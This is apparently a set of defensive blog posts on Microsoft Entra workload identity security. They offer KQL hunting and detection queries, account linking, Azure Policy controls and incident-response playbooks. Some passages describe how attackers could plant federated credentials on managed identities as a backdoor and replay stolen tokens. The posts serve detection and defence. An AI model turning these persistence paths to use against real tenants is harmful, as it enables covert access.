Why we need to hunt for Workload Identity activity

Workload identities have become high-value targets for attackers, often posing a greater risk than user accounts. They typically operate with permanent privileges and are frequently deployed with weak security configurations or insufficient monitoring (including missing detection for anomalous behavior).

Crucially, many advanced defense mechanisms available for users — such as Token Protection (Token Binding) or compliant network enforcement via Global Secure Access — are not currently available for non-human identities. This gap makes them particularly susceptible to token theft and replay attacks. With the overall rise in post-authentication compromises, hunting for the usage of stolen tokens by applications and workloads has become an essential defense strategy.

Therefore, I’ve started my study to explore ways for hunting activities of tokens by non-human identities and summarized them in the KQL function ‘MicrosoftCloudWorkloadActivity’.

What is covered by “MicrosoftCloudWorkloadActivity”

In the first step, I’m using the First-Party Apps Reference from the GitHub Project of Merill Fernando to identify sign-ins from Microsoft Service Principals.

The query uses the table CloudAppEvents to get a unified schema for Azure but also Microsoft 365 activities. I’ve used various patterns to extract the Session ID and Unique Token Identifier from the Raw Event Log.

In addition, the GraphAPIAuditEvents table will be used to get insights about Graph API calls by the non-human identities. A KQL logic from my MVP fellow Fabian Bader is included to parse the Request URI and obtain details about the Target Object ID or ObjectType from the call.

All user and non-human identity sign-in logs (except MicrosoftServicePrincipalSignInLogs) will be used to map the activity to the used token of the application and workload activity. This also allows me to get activity with delegated permission by an application identity. I’ve decided to exclude the MicrosoftServicePrincipalSignInLogs from the query because of the limited availability in most organizations and additional execution time. The First-Party App Reference list will be used to flag sign-ins by Microsoft Apps. Details about a CAE-capable token as well as details about the used credentials will also be extracted from the sign-in logs. The lookback for sign-in logs adds 28 hours to the originally defined lookback window to cover CAE-capable tokens.

What are the parameters of the KQL function?

You can get the latest version of the KQL function from my GitHub repository. If you want to try the query, just copy and paste the query to the Advanced Hunting in Microsoft Defender portal. Make sure that Unified XDR is enabled and the previously described tables are ingested to Microsoft Sentinel.

AppId (string) - Filters activities by the Client ID of the Service Principal. Leave empty to retrieve all applications.

Lookback (timespan, default: 1h) - Time window for collecting activity events.

SessionId (string) - Filters activities by session identifier to track activities within a specific authentication session. Leave empty to retrieve all sessions.

UniqueTokenId (string) - Filters activities by unique token identifier (UTI claim) to correlate all operations performed with a specific access token. Leave empty to retrieve all tokens.

Workload (dynamic) - Filters by Microsoft cloud workload (e.g., “Azure”, “Exchange”, “SharePoint”, “Microsoft Graph API”). Leave empty to retrieve activities from all workloads.

Considerations for filtering

The query is designed to look for a close time range or specific usage by a token. Because of the large number of events that will be queried from the sign-in and activity logs, it can easily exceed the maximum time and resources for a hunting query.

Use filters to get results faster and avoid timeouts, for example:

• Always specify AppId when investigating specific non-human identities.
• Use the shortest possible lookback period. Start with 1h-6h for investigations for the specific identity or token rather than full days
• Add UniqueTokenId when correlating activities from a known sign-in event (e.g., from incident investigation)
• Specify Workload (“Azure”, “Exchange”, “SharePoint”) when you know the scope to reduce M365Events processing

Use and save KQL function for regular usage

Advanced Hunting in the Microsoft Defender Portal allows you to easily save a query as a function. Firstly, we need to remove the default values at the bottom from the existing KQL query (e.g. change AppId="" to AppId). Afterwards click on “Save” and “Save as function”.

Next, we have to choose a name for the function (in this case, MicrosoftCloudWorkloadActivity) and define default parameters as you can see in the screenshot:

After a few moments, you should be able to use the KQL function from the Advanced Hunting query, like this, including IntelliSense to select the parameter for further filtering:

What are other use cases?

Below you’ll find some use cases intended to inspire you on how to leverage MicrosoftCloudWorkloadActivity. Please note that these examples are very experimental and based on my initial tests—they are not yet production-ready and are provided without warranty.

Hunting of issued and used tokens by AppId

The results group activity by the application and workload identity grouped by SessionId and the used ClientCredentialType and if the token is CAE-capable.

Details include information about which Workload/API has been used, target object and if there has been Uncommon Behavior identified in the CloudAppEvents.

MicrosoftCloudWorkloadActivity(AppId="<YourAppId>", Lookback=4h)
| extend Target = bag_pack_columns(ObjectType, ObjectId)
| summarize StartTime = min(Timestamp), EndTime = max(Timestamp), NumberOfCalls = count(), Targets = make_set(Target), UncommonBehaviors = make_set(UncommonForUser), IPAddresses = make_set_if(IPAddress, isnotempty(IPAddress)), IPTags = make_set(IPTags)
    by AccessType, Workload, SessionId, ClientCredentialType, IsTokenCAE

Ongoing activity from tokens issued before Service Principal disablement, containment, or high-risk detection

This query identifies post-containment token activity after disabling a compromised service principal. It detects when the service principal’s AccountEnabled property was changed to false in audit logs, then hunts for any subsequent Microsoft Graph API calls made using previously-issued tokens from that identity. This is crucial for incident response because tokens can remain valid for up to one hour after account disablement—allowing threat actors to maintain persistence until token expiration. CAE-capable tokens will immediately fail with a 401 response code upon revocation, as we can see in the following example.

let ImpactedAppId = "YourAppId";
let SpDisableEvent = AuditLogs
| extend TargetResources = parse_json(TargetResources)
| mv-expand TargetResource = TargetResources
| mv-expand ModifiedProperty = TargetResource.modifiedProperties
| where ModifiedProperty.displayName == 'AccountEnabled'
| where ModifiedProperty.newValue == '[false]'
| extend AdditionalDetails = parse_json(AdditionalDetails)
| mv-expand Detail = AdditionalDetails
| where Detail.key == "AppId"
| extend AppId = tostring(Detail.value)
| where AppId == (ImpactedAppId);
let SpDisableTimestamp = toscalar(SpDisableEvent | summarize min(TimeGenerated));
// Optional: Add a 90-second buffer to ensure the disable event has taken effect
let SpDisableTimestampWithBuffer = datetime_add('second', +90, SpDisableTimestamp);
MicrosoftCloudWorkloadActivity(AppId=(ImpactedAppId), Lookback="48h", Workload="Microsoft Graph API")
| where Timestamp > SpDisableTimestampWithBuffer
| extend StatusCode = parse_json(RawEventData)["ResponseStatusCode"]
| project-reorder Timestamp, IPAddress, IsTokenCAE, StatusCode, Workload, ActivityType, ActivityObjects, ObjectType

A similar approach can be applied when Entra ID Protection for Workload ID flags a service principal as high risk. This risk detection triggers a revocation event for CAE-capable tokens and—if configured—Conditional Access policies will block sign-in requests or token renewals. The following query collects all UniqueTokenIdentifiers issued before the high-risk event occurred and hunts for any continued activity using those specific tokens.

let ImpactedAppId = "YourAppId";
let SpHighRiskEvent = AADServicePrincipalRiskEvents
| where AppId == (ImpactedAppId)
| where RiskLevel == @"high"
| project ActivityDateTime, RiskState, RiskEventType;
let SpHighRiskEventTimestamp = toscalar(SpHighRiskEvent | summarize min(ActivityDateTime));
// Optional: Add a 90-second buffer to ensure the high-risk event has taken effect
let SpHighRiskTimestampWithBuffer = datetime_add('second', +90, SpHighRiskEventTimestamp);
let IssuedTokens = union AADServicePrincipalSignInLogs, AADManagedIdentitySignInLogs
    | where CreatedDateTime < SpHighRiskTimestampWithBuffer and CreatedDateTime > datetime_add('hour', -28, SpHighRiskTimestampWithBuffer)
    | where AppId == (ImpactedAppId)
    | summarize by UniqueTokenIdentifier, TimeGenerated;
let IssuedTokensList = toscalar(IssuedTokens | summarize make_set(UniqueTokenIdentifier));
MicrosoftCloudWorkloadActivity(AppId=(ImpactedAppId), Lookback="24h", Workload="Microsoft Graph API")
| where Timestamp > (SpHighRiskTimestampWithBuffer) and UniqueTokenId in (IssuedTokensList)
| extend StatusCode = parse_json(RawEventData)["ResponseStatusCode"]
| project-reorder Timestamp, IPAddress, IsTokenCAE, StatusCode, Workload, ActivityType, ActivityObjects, ObjectType

List of sign-in details and issued tokens by unusual credential type and other properties

This query identifies secret-based authentication sessions for a service principal. It groups activity by credential type, source IP address, user agent, and authentication library, providing a summary of each unique session, associated session IDs, token IDs, and Microsoft Defender’s report IDs. This helps detect if the same service principal is authenticating from multiple IP addresses, using different credentials, or exhibiting unusual agent and authentication library.

Comparing the UserAgent from activity logs with the SigninUserAgent from sign-in logs can also provide valuable insights. Unfortunately, these details are not available for every type of sign-in or activity event.

MicrosoftCloudWorkloadActivity(AppId="YourAppId")
| where ClientCredentialType == "clientSecret"
| summarize StartTime = min(Timestamp), EndTime = max(Timestamp), SessionIds = make_set(SessionId), UniqueTokenIds = make_set(UniqueTokenId), ReportIds = make_set(ReportId)
    by AccountId, ClientCredentialType, IPAddress, SigninUserAgent, UserAgent, AuthenticationLibrary

Hunting of unusual activity on Graph API

The following query detects anomalous Microsoft Graph API activity for a specific service principal by comparing current usage patterns against a 7-day baseline. It identifies ObjectTypes (like users, groups, applications) where the call volume has increased by 2x or more, or here the service principal is accessing resource types it hasn’t accessed before. Results show the current count, historical average, ratio increase, and whether the pattern is entirely new. This could help analysts quickly spot potential indicators of compromise, abuse or configuration changes.

let AppIdFilter = "YourAppId";
let CurrentPeriod = 1d;              // Period to analyze for anomalies
let BaselinePeriod = 7d;             // Historical baseline period
let AnomalyThreshold = 2.0;          // Alert if current volume is 2x baseline average
let MinBaselineCount = 10;           // Ignore patterns with low baseline activity
// Collect baseline activity (7 days ago, excluding current period)
let Baseline = MicrosoftCloudWorkloadActivity(
    AppId=AppIdFilter, 
    Lookback=BaselinePeriod + CurrentPeriod,
    Workload="Microsoft Graph API"
)
| where Timestamp < ago(CurrentPeriod)  // Exclude current period from baseline
| summarize 
    BaselineCount = count(),
    BaselineDays = dcount(bin(Timestamp, 1d))
    by Workload, ObjectType
| extend AvgDailyBaseline = todouble(BaselineCount) / BaselineDays;
// Collect current period activity
let Current = MicrosoftCloudWorkloadActivity(
    AppId=AppIdFilter,
    Lookback=CurrentPeriod,
    Workload="Microsoft Graph API"
)
| summarize 
    CurrentCount = count(),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp),
    ActivityTypes = take_any(ActivityType, 3)
    by Workload, ObjectType;
// Compare and detect anomalies
Current
| join kind=leftouter (Baseline) on Workload, ObjectType
| extend AvgDailyBaseline = coalesce(AvgDailyBaseline, 0.0)
| extend BaselineCount = coalesce(BaselineCount, 0)
| extend IsNew = BaselineCount == 0
| extend RatioToBaseline = iff(AvgDailyBaseline > 0, CurrentCount / AvgDailyBaseline, 0.0)
| extend PercentIncrease = (RatioToBaseline - 1) * 100
| where IsNew or (RatioToBaseline >= AnomalyThreshold and BaselineCount >= MinBaselineCount)
| project 
    Workload,
    ObjectType,
    CurrentCount,
    AvgDailyBaseline = round(AvgDailyBaseline, 1),
    BaselineCount,
    RatioToBaseline = round(RatioToBaseline, 2),
    PercentIncrease = round(PercentIncrease, 0),
    ActivityTypes,
    IsNew,
    FirstSeen,
    LastSeen
| sort by RatioToBaseline desc, CurrentCount desc

Note: Baseline/anomaly detection can also be valuable for other criteria, such as IP addresses, user agents, response sizes from Microsoft Graph API (which may indicate data exfiltration or large-scale reconnaissance), and the types of credentials or authentication libraries used during sign-in activities.

Visualization of unusual amount of activity

This query uses time-series anomaly detection to identify unusual activity patterns for a service principal’s Microsoft Graph API usage. It creates a 14-day daily activity trend, applies learning (series decomposition with linefit) to establish a baseline, and flags any days where activity deviates significantly (1.5x threshold) from expected behavior. The timechart visualization displays actual vs. baseline activity with anomalies highlighted, helping to spot suspicious spikes or drops without manually defining thresholds.

MicrosoftCloudWorkloadActivity(AppId="<YourAppId>", Lookback=30d, Workload="Microsoft Graph API", SessionId="", UniqueTokenId="")
| make-series DailyActivityCount=count() default=0 on Timestamp in range(ago(14d), now(), 1d)
| extend (Anomalies, AnomalyScore, Baseline) = series_decompose_anomalies(DailyActivityCount, 1.5, -1, 'linefit')
| project Timestamp, DailyActivityCount, Baseline, Anomalies, AnomalyScore
| mv-expand Timestamp to typeof(datetime), DailyActivityCount to typeof(long), Baseline to typeof(double), Anomalies to typeof(long), AnomalyScore to typeof(double)
| extend IsAnomaly = Anomalies != 0
| render timechart with (title="Daily Activity Volume: Baseline vs Actual (Anomalies Highlighted)", ysplit=axes)

What’s next?

This is just the first version of the query, which still has room for improvement in both performance and activity coverage. Nevertheless, I hope this supports your research and hunting efforts. I would be happy to receive your feedback or contributions on the KQL query.

In the future, I plan to add more insights regarding non-human identities (for example, considering Agentic identities and the various associated Agent identities). Stay tuned for updates in the coming months.

Introduction to linking accounts in Microsoft Defender

Microsoft recently introduced the ability to manage related identities and accounts in Microsoft Defender for Identity. This capability is crucial for gaining a comprehensive understanding of the identity landscape in hybrid and multi-cloud enterprise environments. Microsoft highlights the motivation, benefits, and visualizes complex identity scenarios in the insightful blog post “Enhancing visibility into your identity fabric with Microsoft Defender”.

Image Source: “Microsoft Defender XDR Blog - Enhancing visibility into your identity fabric with Microsoft Defender“

By default, the feature links multiple accounts to the same identity where there is a strong identifier. For example, that could be the case when an identity has been synchronized to other Identity Providers by using the same User Principal Name, like in the following screenshot.

In addition, you are able to create a manual link if there’s no strong identifier and the accounts are fully separated, like in the use case of privileged accounts. You’ll find a “Link” button in the Identity inventory page of the user and you will be asked for a justification comment. More details and step-by-step instructions are available on Microsoft Learn.

Note: Make sure that you are creating the link from the identity page of the linked (secondary/privileged) account and not the linking (primary) account. Otherwise the link will be established in the wrong direction. Therefore, navigate to the identity inventory page of the privileged account and choose the primary account of the user.

Benefits in Microsoft Defender XDR

This feature correlates accounts of the same person/identity from different identity providers or establishes a context between completely separate user accounts. This can be essential for incident response on an identity threat or compromise to cover remediation or isolation actions on all accounts of the affected identity.

Furthermore, it also unifies the view of an identity in the inventory of Defender. Separated accounts will no longer show as individual identities in the asset page. You’ll find all linked accounts in the identity page of the primary account. This includes the benefit of reviewing “Security recommendations” across the linked identities.

Linking accounts across identity systems and environments (on-premises and Entra ID) can also help to identify exposed (hybrid) attack paths. Microsoft has described in a blog post that Defender validates and correlates exposures, linking the account to other cross-domain security signals in order to detect unusual authentications or privilege escalations.

As we will see later as a use case, legacy cleanup or identifying stale accounts is another benefit. For example, it allows you to map dormant privileged accounts from former employees or mergers to current identities, preventing overlooked stale accounts.

New Advanced Hunting table “IdentityAccountInfo”

The relation between linked accounts is accessible by using a new advanced hunting table in XDR, called IdentityAccountInfo.

As you can see in the schema definition, not only the link but also other details on Authentication (e.g., EnrolledMfa, LastPasswordChange) and assigned and eligible roles in Microsoft Entra are available.

All manual link/unlink operations allow providing a justification detail which is audited and visible in IdentityAccountInfo. You can use the following query to get details on recent manual links for Microsoft Entra ID accounts:

IdentityAccountInfo
| where SourceProvider == @"AzureActiveDirectory"
| where IdentityLinkType == "Manual"
| project TimeGenerated, AccountId, AccountUpn, IdentityLinkType, IdentityLinkReason, IdentityLinkTime, IdentityLinkBy, IsPrimary
| summarize arg_max(TimeGenerated, *) by AccountId

The result will show you the link, flag for primary account, and justification.

I’ve used this feature for one scenario that (should be) applicable for every organization. Linking everyday user accounts and privileged admin accounts to the same person makes it clear who actually owns and operates from these isolated and separated accounts.

Integration use cases

🔐 EntraOps Privileged EAM

This community project, which I created for classification and automation of the #EnterpriseAccessModel, now supports linked identities in addition to identity correlation through custom security attributes. In the past, it was necessary to maintain Custom Security Attributes to create a relation to the associated primary account.

The workbook allows you to filter by a work account and view all associated or linked privileged accounts.

You’ll find the latest version of EntraOps and details about the project on www.entraops.com.

🔍 UnifiedIdentityInfoXdr

I’ve published a KQL function which creates a summary of all users and workload identities to a unified schema including details about their privileges. The results also show an enrichment to my EntraOps classification model to estimate the privilege access level of their permissions but also information from the related Critical Asset in Microsoft Exposure Management.

Now, this query also includes the relation between the privileged and work account.

The KQL function is available from here: https://github.com/Cloud-Architekt/AzureSentinel/blob/main/Functions/UnifiedIdentityInfoXdr.yaml

🔥 Maester

Maester has become quite popular as a test automation framework and already offers some checks for privileged accounts. I’ve added two new checks that take advantage of linked identities:

• MT.1111: High privileged user should be linked to an identity Tests if privileged users with assigned privileged Entra ID roles (with EntraOps classification of Control Plane or Microsoft “isPrivileged” flag) are linked to an identity.

• MT.1112: Privileged user accounts should not remain enabled when the linked primary account is disabled Tests if enabled privileged users with assigned privileged Entra ID roles (defined by EntraOps Classification of Control or Management Plane) or criticality level (<= 1) in Exposure Management are linked to a disabled identity in Microsoft Defender XDR.

  

More details about Maester are available from here: www.maester.dev

A few years ago, Microsoft introduced federated credentials as an alternate option to client secrets or certificates for workloads outside of Azure. This requires establishing a trust relationship between a workload identity in Microsoft Entra to identify a token (by claims) from an external IdP. In the end, the workload outside of Azure will be able to use an access token in scope of the trust relationship to gain an access token from Microsoft Entra ID. How it works in details is very well explained in Microsoft Learn. You’ll find different ways to configure a managed identity with federated credentials in Microsoft Learn.

Originally, this feature was limited to App Registrations in Microsoft Entra ID. Around one year ago, support for federated credentials on user-assigned identities (UAMI) has been introduced. In comparison to App Registrations, the federated credentials will be added on the Service Principal (Enterprise App) object and the default token lifetime is 24h (by default). During my tests, I was not able to find a successful way to abuse privileges in Microsoft Entra to modify credentials on the service principal object of the UAMI by Microsoft Graph API call. Managing federated credentials on UAMI requires privileges in Azure RBAC and will be executed by Azure Resource Manager (ARM) APIs. Federated credentials are not available for System-assigned Managed Identities.

Overview of issued Federated Credentials on User-Assigned Managed Identities (UAMI)

Comparison of using Federated Credentials by App Registrations or UAMI

² requires Workload ID Premium

Required privileges and attack scenarios

As already described, privileges in Azure RBAC are required to add, update and remove the federated credentials on a UAMI. The resource actions Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write must be included in a built-in or custom role to be authorized for the associated operations.

The following KQL query can be used in Azure Resource Graph (ARG) to get a list of role definitions which includes an explicit privilege on resource Microsoft.ManagedIdentity/userAssignedIdentities

AuthorizationResources
| where type =~ "microsoft.authorization/roledefinitions"
| mv-expand parse_json(properties.permissions)
| mv-expand parse_json(properties_permissions.actions)
| where properties_permissions_actions contains "Microsoft.ManagedIdentity/userAssignedIdentities"
| project ResourceId = id, RoleName = properties.roleName, RoleType = properties.type, AssignableScope = tostring(properties.assignableScopes), Description = properties.description, isServiceRole = properties.isServiceRole, RoleAction = properties_permissions_actions

In addition, the following built-in roles have also full control on userAssignedIdentities because of comprehensive (wild card) authorization in the role definition:

• Contributor (incl. Lighthouse Delegations)
• Owner (incl. AOBO permissions by CSP)
• Co-Administrator and Service Administrators (retired on August 31, 2024)

In my recent community talks about Azure Governance and Workload Identities, I’ve also described some attack scenarios on Federated Credentials. In general, there are two main options for attackers to abuse this authentication method of workload identity:

1) Compromising workload and/or IdP of the trusted entity which is defined in the federated credentials. Everyone who owns the workload or 3rd Party IdP will have the opportunity to gain an access token from Entra ID in exchange of the federated credential. It is in the nature of this technical design/approach and should be obvious that we need to secure the workload and establish a trust relationship to trustworthy IdPs. Token replay was one of the examples in my community talks to underline the importance of measures for securing workload environment (e.g., GitHub runners) but also direct/indirect access to dependencies of executing workload code.

2) Compromising any security principal with access to a managed identity. This can also include a CSP provider which has access to a subscription by Azure Lighthouse. Initial attack by phishing on developers with privileged access or compromised CI/CD are just a few other scenarios that seems certainly possible. In the past, this attack scenario has already existed and allows to gain access tokens from a Managed Identity. However, it was required to also gain workload access to the associated resource (e.g., Virtual Machine or Azure Function). A trust relationship was established between resources which exist within your Azure and your tenant boundary. By adding federated credential to any UAMI, it seems to be easier to add a kind of “backdoor” because of underrated impact of privileges and uncovered auditing and/or monitoring of this sensitive resources. Other sign-in activities or operations to the trusted entity of the federated credential could also be outside of your control and monitoring. Most of the trusted (external) entities (e.g., GitHub or any other 3rd Party IdP) are managed outside of the tenant boundary and may not be covered or visible by security operations.

Overview of attack paths to gain access to UAMI for adding or modify federated credentials

Dirk-jan Mollema has written an excellent blog post about detailed steps to create an OpenID connect provider (roadoidc) by using the tool ROADtools. He also explains the risks and steps how an attacker could abuse federated credentials which also applies to UAMI. I can only recommend to reading his awesome article:

• Persisting on Entra ID applications and User Managed Identities with Federated Credentials - dirkjanm.io

Analysis of existing UAMI with federated credentials

Creating inventory and detailed report

There are a couple of ways to identify managed identities by building custom reports or queries. However, various request to Azure Resource Manager (ARM) or Azure Resource Graph API but also Microsoft Graph API are needed to get a full visibility of a user-assigned managed identity and their relation to federated credentials but also assigned privileges.

In my opinion, the most comprehensive solution offers the free community tool AzADServicePrincipalInsights by Julian Hayward. The report can be exported as HTML, JSON and CSV. It includes also important details which helps to identify if the federated credentials have been assigned to critical privileges:

• Azure role assignments
• Application API permissions (e.g., Microsoft Graph)
• Exposed API roles
• Entra ID role assignment
• Ownership to objects

Detailed reporting of Federated Credentials by using AzADServicePrincipalInsights

Ingest report data to Microsoft Sentinel/Log Analytics for enrichment and hunting

I have implemented together with Julian also the capability to ingest the data to a custom table in Microsoft Sentinel. The required steps are described in my previous blog post about Advanced Detections and Enrichment in Microsoft Sentinel for Workload IDs.

This allows to use the data for hunting but also enrichment of detections which will be described in the next section of this article.

Example 1: Get all UAMIs with Federated Credentials including details of trusted issuer and subject

AzADServicePrincipalInsights_CL
| summarize arg_max(TimeGenerated, *) by ObjectId
| mv-expand parse_json(ManagedIdentityFederatedIdentityCredentials)
| where ManagedIdentityFederatedIdentityCredentials.type == "Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials"
| project ObjectId, SP[0].SPDisplayName, SPOwnedObjects, SPAADRoleAssignments, SPAppRoleAssignments, SPAppRoleAssignedTo, SPAzureRoleAssignments, ManagedIdentityFederatedIdentityCredentials

Example 2: Get all UAMI Federated Credentials with access to Application Permissions, Azure or Entra ID Roles

AzADServicePrincipalInsights_CL
| summarize arg_max(TimeGenerated, *) by ObjectId
| mv-expand parse_json(ManagedIdentityFederatedIdentityCredentials)
| where isnotempty(SPAADRoleAssignments) or isnotempty(SPAppRoleAssignments) or isnotempty(SPAzureRoleAssignments)
| where ManagedIdentityFederatedIdentityCredentials.type == "Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials"
| project ObjectId, SP[0].SPDisplayName, SPOwnedObjects, SPAADRoleAssignments, SPAppRoleAssignments, SPAppRoleAssignedTo, SPAzureRoleAssignments, ManagedIdentityFederatedIdentityCredentials

Example 3: Filtering critical Entra ID roles which are granted to UAMI with Federated Credentials

AzADServicePrincipalInsights_CL
| summarize arg_max(TimeGenerated, *) by ObjectId
| mv-expand parse_json(ManagedIdentityFederatedIdentityCredentials)
| where ManagedIdentityFederatedIdentityCredentials.type == "Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials"
| project ObjectId, SP[0].SPDisplayName, SPOwnedObjects, SPAADRoleAssignments, SPAppRoleAssignments, SPAppRoleAssignedTo, SPAzureRoleAssignments, ManagedIdentityFederatedIdentityCredentials
| mv-expand parse_json(SPAADRoleAssignments)
| where SPAADRoleAssignments.roleIsCritical == false
| project SPAADRoleAssignments.roleDefinitionName, SPAADRoleAssignments.resourceScope, SPAADRoleAssignments.roleDefinitionDescription, SP = SP_0_SPDisplayName, ManagedIdentityFederatedIdentityCredentials.name, ManagedIdentityFederatedIdentityCredentials.id

Auditing by built-in Azure Policy

You can also audit issued federated credentials by using a built-in Azure Policy set (in preview) with the name “Managed Identity Federated Credentials should be of approved types from approved federation sources”. This allows you to integrate natively the results as part of the security recommendations for your Azure environment. It provides you with a simple view on federated credentials which have been configured outside of “allowlisted” and trusted federated provider. I will explain how to use this policy for prevention later in this article.

Policy compliance with list of issued federated credentials and check on allowed issuer types

Detection on authorized actors

Operations to add federated credentials will be audited in the AzureActivity (Microsoft Sentinel/Diagnostic Logs), CloudAppEvents and CloudAuditEvents (both available in Microsoft Defender XDR). It seems there are no details included of the federated credentials (such as issuer, entity type or subject). Therefore, only related information about the actor which creates the federated credential can be used for alerting by default. In addition, enrichment or hunting could be used to identify if the trust relationship has been established to an unauthorized or malicious entity. This can be achieved by using a playbook to enrich data from Azure Resource Graph about the Managed Identity or include a query to (fresh updated) AzADSPI exported data.

The following analytics rule template is written for Microsoft Sentinel and offers to include an allow list of actors (by group membership) or roles of actors but also set the scope which should be included for monitoring. Furthermore, risk level by Microsoft Entra ID Protection will be included to set a scope (optional) on compromised identities.

• Unauthorized actor has been added Federated Credential on User-Assigned Managed Identity [ARM Template] [YAML format]

The parameters will be defined in the query but can also be outsourced to a WatchList for better management of the allow list. A similar query can also be written for Microsoft Defender XDR because of the availability of audit events in the table of CloudAppEvents and CloudAuditEvents.

The result of the analytics rule in Microsoft Sentinel can be triggered in the following incident

Entity type “Azure Resource” shows the federatedIdentityCredentials and allows to use a deep link to navigate to the resource page with essential properties.

Detection of suspicious sign-ins by federated credentials

Sign-in by using App Registrations with federated credentials will be audited in AADServicePrincipalSignInLogs and includes an ID for the federated credential (“FederatedCredentialId”). This allows us to get easily a list of all sign-ins by using federated credentials including the associated IP Address.

I was not able to find any similar property in the AADManagedIdentitySignInLogs. In general, the IP Address is also missing in the sign-in logs for Managed Identities. So in this case, we have only limited capabilities to write detections or start hunting on suspicious sign-ins for using federated credentials on UAMI.

Hunting of activities by compromised UAMI

As already mentioned, access tokens of UAMI have a lifetime up to 24h. Removing federated credentials has not revoked issued tokens (for example, as trigger of CAE). It seems that CAE does not support Managed Identities as documented in Microsoft Learn. The actor can still be used within the long-lived token even if a malicious federated credential has been removed. However, you can use UniqiueTokenIdentifier from AADManagedIdentitySignInLogs to track the activities by valid tokens in other logs (e.g., AzureActivity).

AADManagedIdentitySignInLogs
| where ServicePrincipalName == "<CompromisedUamiDisplayName"
| join kind=inner ( AzureActivity
    | extend UniqueTokenIdentifier = tostring(parse_json(Claims).uti)
) on UniqueTokenIdentifier

Hunting of activities by issued (long-lived) token by compromised UAMI

Prevention by Azure Policies and Governance

There are a few actions and steps that should be considered to avoid unauthorized trust relationships or usage of federated credentials

• Assign least privileges for Landing Zone Owners If possible, avoid assigning Owner, Contributor any role including write Microsoft.ManagedIdentity/* on sensitive workloads to Landing Zone Owners. There are many job-function roles which could fit to the least privileges and required permissions for DevOps. Microsoft Entra Permissions Management could also support you to create a custom role based on the required role actions. Monitor any custom role which includes sensitive role actions on UAMI.
• Deny assignment of federated credentials where it is not in use Microsoft already described in the “considerations” section of Workload Identity Federation but also in this detailed instruction article how to create a deny Azure Policy. This simplified policy definition would allow to block the usage of federated credentials in the assigned scope.

• Audit compliance and restrict federated credentials on defined and trusted sources A built-in Azure policy set is available which allows us to provide a list of allowed issuers and deny any other assignments outside of these exceptions. I would recommend using this policy which allows fine-granted control of trusted issuer and federation provider types. This should also be a preferred option over the previously mentioned (simplified) policy to block any federated credential. This policy should also be run in “audit” to check compliance of already existing issued federated and discover usage of federated identity providers before enforcing “deny”. Enforcement of deny will only apply to any new or changed configuration of federated credentials. It will not block usage of existing credentials.

  

  Configuration of parameters on built-in initiative “[Preview]: Managed Identity Federated Credentials should be of approved types from approved federation sources”

  

  Side Note: I was not able to configure the policy with the default provided parameters. The error message “Could not find a version of the policy set definition” appears which can be fixed by selecting the version and enable option “Include preview versions”.

  

  “Deny” effect of Azure Policy will block adding federated credential outside of allow list by any operation to Azure Resource Manager API

• Regular review and security monitoring on issued federated credentials As already described, AzADSPI gives you the opportunity to create a report of all your federated credentials and their privileges. You can include the data to Microsoft Sentinel for enrichment and correlation between security incidents and details of the configured credentials.
• Isolate critical user assigned identities from Landing Zones Sensitive UAMIs should not be placed to a regular subscription. For example, UAMIs which are assigned to Azure Policies with sensitive permissions should be created and managed in a “Platform” Management Group with highly restricted access. Creating a “deny” role assignment by Deployment Stacks on Managed Resources could also be an approach to block inheritance permissions.

Summary

Independent of the previous remarks, Federated Credentials are a great and secure way to provide access to Entra ID-protected resources by trusting (authorized) workloads and 3rd party IdPs. They provide benefits over other authentication methods by reduced risks of leaked credentials, certificates expiring or maintenance. In addition, it allows to establish a kind of correlation of relationship between workload and identity. However, it should be considered, who can add the trust relationship and what is a valid and trustworthy relationship. Your governance, workload identity lifecycle processes and security policies should not only cover App Registration in Microsoft Entra ID. It is necessary to extend the view and take care of the identity resources in Microsoft Azure as well. Microsoft already provides built-in methods to identify and take control of Federated Credentials which avoids establishing access from malicious actors outside your (tenant) trust boundary. Additional efforts should be made to enrich data in your SOC for visibility of federated credentials and relation to trusted (federated) entities and subjects.

This blog post is part of a series about Microsoft Entra Workload ID:

• Introduction and Delegated Permissions
• Lifecycle Management and Operational Monitoring
• Threat detection with Microsoft Defender XDR and Sentinel
• Advanced Detection and Enrichment in Microsoft Sentinel
• Incident Response

Incident Response Playbook templates

Microsoft has been released playbooks for security incident scenarios of Compromised and malicious applications investigation but also for App consent grant investigation.

In case of a true positive alert, the workload identity should be blocked for further malicious activity. In general, there are two different options to stop further sign-in activity by using Portal UI or Microsoft Graph API:

• Disable service principal
• Confirm service principal compromised (requires Workload Identity Premium licenses)

Both events are also supported revocation events for Continuous access evaluation for workload identities (CAE). This allows to revoke existing access tokens if the application/workload and resource provider a, ,re supporting CAE. Otherwise, the access token is still valid and further granted access will be valid until the token expires.

Side Note: CAE does not support Managed Identities and also the support for resource providers are limited (e.g., Microsoft Graph).

Playbook: Confirm compromised (risky) Service Principal

Let’s have a closer look t how we can trigger a playbook from an incident successfully. First, we need to make sure that the ObjectId of the Service Principal is available by using the trigger of Microsoft Sentinel Incidents. Both Graph API calls (Disable and confirm compromise) require the ServicePrincipalObjectId for the request. We have already defined and considered to establishing a clean entity mapping in the various Analytics Rules which we configured in the previous parts of the blog post. However, Microsoft Sentinel offers only an entity mapping to the AppId of in the incident.

Unfortunately, the Application Id was also not available in the Outputs of the Incident Playbook Trigger during my tests:

Therefore, I’ve decided to implement the following logic to get the custom alert details from each alert after the Sentinel Incident has been triggered. We have used this option before to enrich the alert with details from the WorkloadIdentityInfo.

Next, the ServicePrincipalId from the “Custom Alert Details” will check whether the value is not empty. Additional “Custom Alert” fields can be also used in the condition, for example if the enriched information shows the application for PrivilegedAccess or as IsFirstPartyApp . This allows you to run the playbook on a particular scope only.

Afterwards the Graph API call will execute to mark the Workload Identity as compromised. The HTTP action will be used with the associated (system-assigned) Managed Identity and the required permissions (IdentityRiskyServicePrincipal.ReadWrite.All). The sign-in will be blocked if a corresponding Conditional Access policy for Workload Identity has been configured.

Finally, a comment will be added to the Incident if the workload identity has been marked as compromised. This requires that the Logic App has permission to the Azure RBAC role “Microsoft Sentinel Responder” or least privileges on the specific role action to write incident comments (Microsoft.SecurityInsights/incidents/).

The ARM deployment file of the Logic App can be found here:

Confirm-RiskyEntraWorkloadId_Deploy.json

